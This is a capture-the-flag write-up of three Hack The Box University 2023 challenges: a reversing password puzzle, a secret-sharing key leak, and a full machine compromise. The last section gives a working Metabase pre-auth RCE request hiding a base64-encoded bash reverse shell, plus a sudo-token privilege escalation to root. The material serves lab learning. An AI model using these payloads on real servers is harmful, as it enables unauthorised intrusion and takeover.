HTB University 2023 - Brains and bytes

Write ups of HTB University 2023 for the three challenges I solved. x1 Reversing, x1 Crypto, x1 FullPwn

Rev - windowsofopportunity

The binary asked for a password, simple password guessing challenge The binary was comparing the addition of the current letter and the next letter of the password in a while loop with a hex variable found on the stack (arr)

arr = "9c96bdaf93c39460a2d1c2cf9ca3a66894c1d7ac969393d6a89fd294a7d68fa0a3a1a3569e"

Knowing that the first letter must be an H because the flag format HTB{}, here is my script:

import string
from Crypto.Util import number
arr = "9c 96 bd af 93 c3 94 60 a2 d1 c2 cf 9c a3 a6 68 94 c1 d7 ac 96 93 93 d6 a8 9f d2 94 a7 d6 8f a0 a3 a1 a3 56 9e".split()
n = 0
solved = 'H'
letter = 'H'
for x in arr:
    check = int('0x' + x, 16)
    rest = ord(letter)
    next_value = chr(check - rest)
    letter = next_value
    solved+=next_value
print(solved)

Crypto - MSS

Inspecting the code we knew we had to specify either get_share command or encrypt_flag command

class MSS:
    def __init__(self, BITS, d, n):
        self.d = d
        self.n = n
        self.BITS = BITS
        self.key = bytes_to_long(os.urandom(BITS//8))
        self.coeffs = [self.key] + [bytes_to_long(os.urandom(self.BITS//8)) for _ in range(self.d)]

    def poly(self, x):
        return sum([self.coeffs[i] * x**i for i in range(self.d+1)])
  
    def get_share(self, x):
        if x > 2**15:
            return {'approved': 'False', 'reason': 'This scheme is intended for less users.'}
        elif self.n < 1:
            return {'approved': 'False', 'reason': 'Enough shares for today.'}
        else:
            self.n -= 1
            return {'approved': 'True', 'x': x, 'y': self.poly(x)}
    def encrypt_flag(self, m):
        key = sha256(str(self.key).encode()).digest()
        iv = os.urandom(16)
        cipher = AES.new(key, AES.MODE_CBC, iv)
        ct = cipher.encrypt(pad(m, 16))
        return {'iv': iv.hex(), 'enc_flag': ct.hex()}
  
...
def show_menu():

    return """

Send in JSON format any of the following commands.
    - Get your share
    - Encrypt flag
    - Exit
query = """
def main():
    mss = MSS(256, 30, 19)
    show_banner()
    while True:
        try:
            query = json.loads(input(show_menu()))
            if 'command' in query:
                cmd = query['command']
                if cmd == 'get_share':
                    if 'x' in query:
                        x = int(query['x'])
                        share = mss.get_share(x)
                        print(json.dumps(share))
                    else:
                        print('\n[-] Please send your user ID.')
                elif cmd == 'encrypt_flag':
                    enc_flag = mss.encrypt_flag(FLAG)
                    print(f'\n[+] Here is your encrypted flag : {json.dumps(enc_flag)}.')
                elif cmd == 'exit':
                    print('\n[+] Thank you for using our service. Bye! :)')
                    break
                else:
                    print('\n[-] Unknown command:(')
        except KeyboardInterrupt:
            exit(0)
        except (ValueError, TypeError) as error:
            print(error)
            print('\n[-] Make sure your JSON query is properly formatted.')
            pass

The encrypt flag gave us back the flag encrypted and the iv used, that was randomly generated.

The key used was the self.key in sha256

The get_share option we wanted was:

self.poly was the following function:

def poly(self, x):
        return sum([self.coeffs[i] * x**i for i in range(self.d+1)])

And we knew that self.coeffs was:

self.coeffs = [self.key] + [bytes_to_long(os.urandom(self.BITS//8)) for _ in range(self.d)]

I thought that this was vulnerable, because I could input value 0 on get_share, that would give me just the key, to test my hypothesis I wrote a test script:

from Crypto.Util.number import bytes_to_long
import os

BITS = 256
d = 30
key = 1616440045589858973967362169645923569164480788693808049788422574055690247720796
coeffs = [key] + [1737373173690379085970176930429036152544668341894384726201130355237451828690248 for _ in range(d)]
x = 0
print(sum([coeffs[i] * x**i for i in range(d+1)]))

Which output was indeed the same as the random key I entered.

As the only thing that changed was the iv but not the key (as this was declared on the constrctor), I had everything I needed to recover the flag.

1st get the encrypted flag connecting to netcat port:

query = {"command" : "encrypt_flag"}

[+] Here is your encrypted flag : {"iv": "404669f7f0afd0469e747b4c49273b61", "enc_flag": "66bf49e1c945e7e2bd6d40a1eeaecdf2e124e14496da328d5957c47eca1795e1c12a2b7b2117dd7fadd2ce31daa682fe"}.

Then leak the key value:

query = {"command" : "get_share", "x" : 0}
{"approved": "True", "x": 0, "y": 58012047547221661447903222931573345842174192162306275778615464289153799906054}

Solve script to decrypt the AES CBC:

from Crypto.Util.number import bytes_to_long, long_to_bytes
from Crypto.Cipher import AES
import os
from hashlib import sha256

# Leaked key we got:
key = 58012047547221661447903222931573345842174192162306275778615464289153799906054
# iv and ct of the same session of the key:
iv = 0x404669f7f0afd0469e747b4c49273b61
ct = 0x66bf49e1c945e7e2bd6d40a1eeaecdf2e124e14496da328d5957c47eca1795e1c12a2b7b2117dd7fadd2ce31daa682fe

# sha the leaked key
key = sha256(str(key).encode()).digest()
cipher = AES.new(key, AES.MODE_CBC, long_to_bytes(iv))
m = cipher.decrypt(long_to_bytes(ct))
print(m)

Which gave me the flag:

FullPwn - Apethanto

Initial shell - Metabase RCE

On port 3000 theres a Metabase server This post explains an RCE: https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/

From this script I adapted the poc because it wasnt working: https://github.com/shamo0/CVE-2023-38646-PoC/blob/main/CVE-2023-38646.py

The following burp request was used to get initial shell trigger, the base64 string was a doble b64 encode of a bash -i reverse shell (There was a problem if the b64 string had '=' so I had to remove it by encoding again)

POST /api/setup/validate HTTP/1.1
Host: apethanto.htb:3000
Content-Type: application/json
Content-Length: 612

{
    "token": "819139a8-1ce9-46f0-acf8-9b4fc0d1164b",
    "details":
    {
        "details":
        {
            "advanced-options":  true,
"classname": "org.h2.Driver",
"subname": "mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS SHELLEXEC AS $$ void shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(new String[]{\"sh\", \"-c\", cmd})\\;}$$\\;CALL SHELLEXEC('echo \"WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0eE9EUXZPREFnTUQ0bU1Rbz0K\" | base64 -d | base64 -d | bash');",
"subprotocol": "h2"},
            "engine": "postgres",
        "name": "x"
    }
}

LPE - Abusing sudo tokens

https://book.hacktricks.xyz/linux-hardening/privilege-escalation#reusing-sudo-tokens

Checks:

  • Running pspy revealed that sudo user was running sudo -u metabase -i ![[Pasted image 20231209133243.png]]

  • cat /proc/sys/kernel/yama/ptrace_scope is 0

  • gdb is accessible (linpeas revealde this in red)

git clone https://github.com/nongiach/sudo_inject

metabase@Apethanto:/tmp$ bash exploit.sh 
Current process : 191409
cp: 'activate_sudo_token' and '/tmp/activate_sudo_token' are the same file
Injecting process 1893 -> sh
Injecting process 1897 -> bash
Injecting process 1898 -> bash
Injecting process 1920 -> bash
Injecting process 170060 -> bash
Injecting process 191392 -> bash
cat: /proc/191414/comm: No such file or directory
Injecting process 191414 -> 
metabase@Apethanto:/tmp$ /tmp/activate_sudo_token
metabase@Apethanto:/tmp$ sudo su
root@Apethanto:/tmp# whoami
root
root@Apethanto:/tmp# cd /root
root@Apethanto:~# cat root.txt
HTB{812b9160a92b9e6f432ea7ed51ccbf2e}
root@Apethanto:~# 

Last updated